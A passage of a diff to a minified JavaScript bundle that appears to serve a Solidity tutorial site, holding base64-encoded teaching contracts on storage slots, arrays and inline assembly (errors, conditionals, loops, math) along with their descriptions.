gICB9Cn0K"}],sy=`

                Example of upgradeable proxy contract. Never use this in production.

                This example shows

                • how to use delegatecall and return data when fallback is called.
                • @@ -3476,7 +3476,7 @@ After a minimum waiting period, the transaction can be executed.

                  StorageSlot.getAddressSlot(slot).value = _addr; } } -`,sy=({prev:s,next:a})=>r.jsx(A,{version:_u,title:Lu,description:Ou,cyfrinLink:Pu,html:qu,prev:s,next:a,codes:$u}),ay="0.8.26",ny="Write to Any Slot",ly="Write to Any Slot",py="https://www.cyfrin.io/glossary/write-to-any-slot-solidity-code-example",ey=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdChieXRlczMyIHNsb3QpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoQWRkcmVzc1Nsb3Qgc3RvcmFnZSBwb2ludGVyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gR2V0IHRoZSBwb2ludGVyIHRvIEFkZHJlc3NTbG90IHN0b3JlZCBhdCBzbG90CiAgICAgICAgICAgIHBvaW50ZXIuc2xvdCA6PSBzbG90CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBUZXN0U2xvdCB7CiAgICBieXRlczMyIHB1YmxpYyBjb25zdGFudCBURVNUX1NMT1QgPSBrZWNjYWsyNTYoIlRFU1RfU0xPVCIpOwoKICAgIGZ1bmN0aW9uIHdyaXRlKGFkZHJlc3MgX2FkZHIpIGV4dGVybmFsIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIGRhdGEudmFsdWUgPSBfYWRkcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIHJldHVybiBkYXRhLnZhbHVlOwogICAgfQp9Cg=="}],cy=`

                  Solidity storage is like an array of length 2^256. +`,ay=({prev:s,next:a})=>r.jsx(A,{version:_u,title:Ou,description:Pu,cyfrinLink:$u,html:sy,prev:s,next:a,codes:qu}),ny="0.8.26",ly="Write to Any Slot",py="Write to Any Slot",ey="https://www.cyfrin.io/glossary/write-to-any-slot-solidity-code-example",cy=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdChieXRlczMyIHNsb3QpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoQWRkcmVzc1Nsb3Qgc3RvcmFnZSBwb2ludGVyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gR2V0IHRoZSBwb2ludGVyIHRvIEFkZHJlc3NTbG90IHN0b3JlZCBhdCBzbG90CiAgICAgICAgICAgIHBvaW50ZXIuc2xvdCA6PSBzbG90CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBUZXN0U2xvdCB7CiAgICBieXRlczMyIHB1YmxpYyBjb25zdGFudCBURVNUX1NMT1QgPSBrZWNjYWsyNTYoIlRFU1RfU0xPVCIpOwoKICAgIGZ1bmN0aW9uIHdyaXRlKGFkZHJlc3MgX2FkZHIpIGV4dGVybmFsIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIGRhdGEudmFsdWUgPSBfYWRkcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIHJldHVybiBkYXRhLnZhbHVlOwogICAgfQp9Cg=="}],ty=`

                  Solidity storage is like an array of length 2^256. Each slot in the array can store 32 bytes.

                  Order of declaration and the type of state variables define which slots it will use.

                  However using assembly, you can write to any slot.

                  @@ -3516,7 +3516,7 @@ Each slot in the array can store 32 bytes.

                  return data.value; } } -`,ty=({prev:s,next:a})=>r.jsx(A,{version:ay,title:ny,description:ly,cyfrinLink:py,html:cy,prev:s,next:a,codes:ey}),oy="0.8.26",ry="Array",iy="Learn about arrays in Solidity",gy="https://www.cyfrin.io/glossary/array-solidity-code-example",hy=[{fileName:"Array.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAp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WzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],Iy=`

                  Array can have a compile-time fixed size or a dynamic size.

                  +`,oy=({prev:s,next:a})=>r.jsx(A,{version:ny,title:ly,description:py,cyfrinLink:ey,html:ty,prev:s,next:a,codes:cy}),ry="0.8.26",iy="Array",gy="Learn about arrays in Solidity",hy="https://www.cyfrin.io/glossary/array-solidity-code-example",Iy=[{fileName:"Array.sol",code:"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MCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],dy=`

                  Array can have a compile-time fixed size or a dynamic size.

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                   
                  @@ -3638,7 +3638,7 @@ Each slot in the array can store 32 bytes.

                  assert(arr[1] == 4); } } -
                  `,dy=({prev:s,next:a})=>r.jsx(A,{version:oy,title:ry,description:iy,cyfrinLink:gy,html:Iy,prev:s,next:a,codes:hy}),Cy="0.8.26",jy="Assembly Error",Ay="Example of error in assembly",uy="https://www.cyfrin.io/glossary/assembly-error-solidity-code-example",yy=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50MjU2IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],my=`

                  Example of error in assembly

                  +`,Cy=({prev:s,next:a})=>r.jsx(A,{version:ry,title:iy,description:gy,cyfrinLink:hy,html:dy,prev:s,next:a,codes:Iy}),jy="0.8.26",Ay="Assembly Error",uy="Example of error in assembly",yy="https://www.cyfrin.io/glossary/assembly-error-solidity-code-example",my=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50MjU2IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],by=`

                  Example of error in assembly

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                   
                  @@ -3652,7 +3652,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,by=({prev:s,next:a})=>r.jsx(A,{version:Cy,title:jy,description:Ay,cyfrinLink:uy,html:my,prev:s,next:a,codes:yy}),wy="0.8.26",ky="Assembly Conditional Statements",Zy="Example of conditional statements in assembly",Wy="https://www.cyfrin.io/glossary/assembly-conditional-statements-solidity-code-example",By=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfc3dpdGNoKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDEgeyB6IDo9IDEwIH0KICAgICAgICAgICAgY2FzZSAyIHsgeiA6PSAyMCB9CiAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IDAgfQogICAgICAgIH0KICAgIH0KfQo="}],Gy=`

                  Example of conditional statements in assembly

                  +`,wy=({prev:s,next:a})=>r.jsx(A,{version:jy,title:Ay,description:uy,cyfrinLink:yy,html:by,prev:s,next:a,codes:my}),ky="0.8.26",Zy="Assembly Conditional Statements",Wy="Example of conditional statements in assembly",Gy="https://www.cyfrin.io/glossary/assembly-conditional-statements-solidity-code-example",By=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfc3dpdGNoKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDEgeyB6IDo9IDEwIH0KICAgICAgICAgICAgY2FzZSAyIHsgeiA6PSAyMCB9CiAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IDAgfQogICAgICAgIH0KICAgIH0KfQo="}],fy=`

                  Example of conditional statements in assembly

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                   
                  @@ -3676,7 +3676,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,fy=({prev:s,next:a})=>r.jsx(A,{version:wy,title:ky,description:Zy,cyfrinLink:Wy,html:Gy,prev:s,next:a,codes:By}),Vy="0.8.26",Yy="Assembly Loop",Xy="Example of loop in assembly",vy="https://www.cyfrin.io/glossary/assembly-loop-solidity-code-example",Ry=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsgeiA6PSBhZGQoeiwgMSkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfd2hpbGVfbG9vcCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGkgOj0gMAogICAgICAgICAgICBmb3Ige30gbHQoaSwgNSkge30gewogICAgICAgICAgICAgICAgaSA6PSBhZGQoaSwgMSkKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],Ny=`

                  Example of loop in assembly

                  +`,Vy=({prev:s,next:a})=>r.jsx(A,{version:ky,title:Zy,description:Wy,cyfrinLink:Gy,html:fy,prev:s,next:a,codes:By}),Yy="0.8.26",Xy="Assembly Loop",Ry="Example of loop in assembly",vy="https://www.cyfrin.io/glossary/assembly-loop-solidity-code-example",Ny=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsgeiA6PSBhZGQoeiwgMSkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfd2hpbGVfbG9vcCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGkgOj0gMAogICAgICAgICAgICBmb3Ige30gbHQoaSwgNSkge30gewogICAgICAgICAgICAgICAgaSA6PSBhZGQoaSwgMSkKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],Hy=`

                  Example of loop in assembly

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                   
                  @@ -3697,7 +3697,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,Hy=({prev:s,next:a})=>r.jsx(A,{version:Vy,title:Yy,description:Xy,cyfrinLink:vy,html:Ny,prev:s,next:a,codes:Ry}),Fy="0.8.26",Ky="Assembly Math",My="Example of math in assembly",Sy="https://www.cyfrin.io/glossary/assembly-math-solidity-code-example",xy=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24geXVsX211bCh1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDAgeyB6IDo9IDAgfQogICAgICAgICAgICBkZWZhdWx0IHsKICAgICAgICAgICAgICAgIHogOj0gbXVsKHgsIHkpCiAgICAgICAgICAgICAgICBpZiBpc3plcm8oZXEoZGl2KHosIHgpLCB5KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIFJvdW5kIHRvIG5lYXJlc3QgbXVsdGlwbGUgb2YgYgogICAgZnVuY3Rpb24geXVsX2ZpeGVkX3BvaW50X3JvdW5kKHVpbnQyNTYgeCwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBiID0gMTAwCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyB6ID0gOTAgLyAxMDAgKiAxMDAgPSAwLCB3YW50IHogPSAxMDAKICAgICAgICAgICAgLy8geiA6PSBtdWwoZGl2KHgsIGIpLCBiKQoKICAgICAgICAgICAgbGV0IGhhbGYgOj0gZGl2KGIsIDIpCiAgICAgICAgICAgIHogOj0gYWRkKHgsIGhhbGYpCiAgICAgICAgICAgIHogOj0gbXVsKGRpdih6LCBiKSwgYikKICAgICAgICAgICAgLy8geCA9IDkwCiAgICAgICAgICAgIC8vIGhhbGYgPSA1MAogICAgICAgICAgICAvLyB6ID0gOTAgKyA1MCA9IDE0MAogICAgICAgICAgICAvLyB6ID0gMTQwIC8gMTAwICogMTAwID0gMTAwCiAgICAgICAgfQogICAgfQp9Cg=="}],Jy=`

                  Example of math in assembly

                  +`,Ky=({prev:s,next:a})=>r.jsx(A,{version:Yy,title:Xy,description:Ry,cyfrinLink:vy,html:Hy,prev:s,next:a,codes:Ny}),Fy="0.8.26",My="Assembly Math",Sy="Example of math in assembly",xy="https://www.cyfrin.io/glossary/assembly-math-solidity-code-example",Jy=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24geXVsX211bCh1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDAgeyB6IDo9IDAgfQogICAgICAgICAgICBkZWZhdWx0IHsKICAgICAgICAgICAgICAgIHogOj0gbXVsKHgsIHkpCiAgICAgICAgICAgICAgICBpZiBpc3plcm8oZXEoZGl2KHosIHgpLCB5KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIFJvdW5kIHRvIG5lYXJlc3QgbXVsdGlwbGUgb2YgYgogICAgZnVuY3Rpb24geXVsX2ZpeGVkX3BvaW50X3JvdW5kKHVpbnQyNTYgeCwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBiID0gMTAwCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyB6ID0gOTAgLyAxMDAgKiAxMDAgPSAwLCB3YW50IHogPSAxMDAKICAgICAgICAgICAgLy8geiA6PSBtdWwoZGl2KHgsIGIpLCBiKQoKICAgICAgICAgICAgbGV0IGhhbGYgOj0gZGl2KGIsIDIpCiAgICAgICAgICAgIHogOj0gYWRkKHgsIGhhbGYpCiAgICAgICAgICAgIHogOj0gbXVsKGRpdih6LCBiKSwgYikKICAgICAgICAgICAgLy8geCA9IDkwCiAgICAgICAgICAgIC8vIGhhbGYgPSA1MAogICAgICAgICAgICAvLyB6ID0gOTAgKyA1MCA9IDE0MAogICAgICAgICAgICAvLyB6ID0gMTQwIC8gMTAwICogMTAwID0gMTAwCiAgICAgICAgfQogIC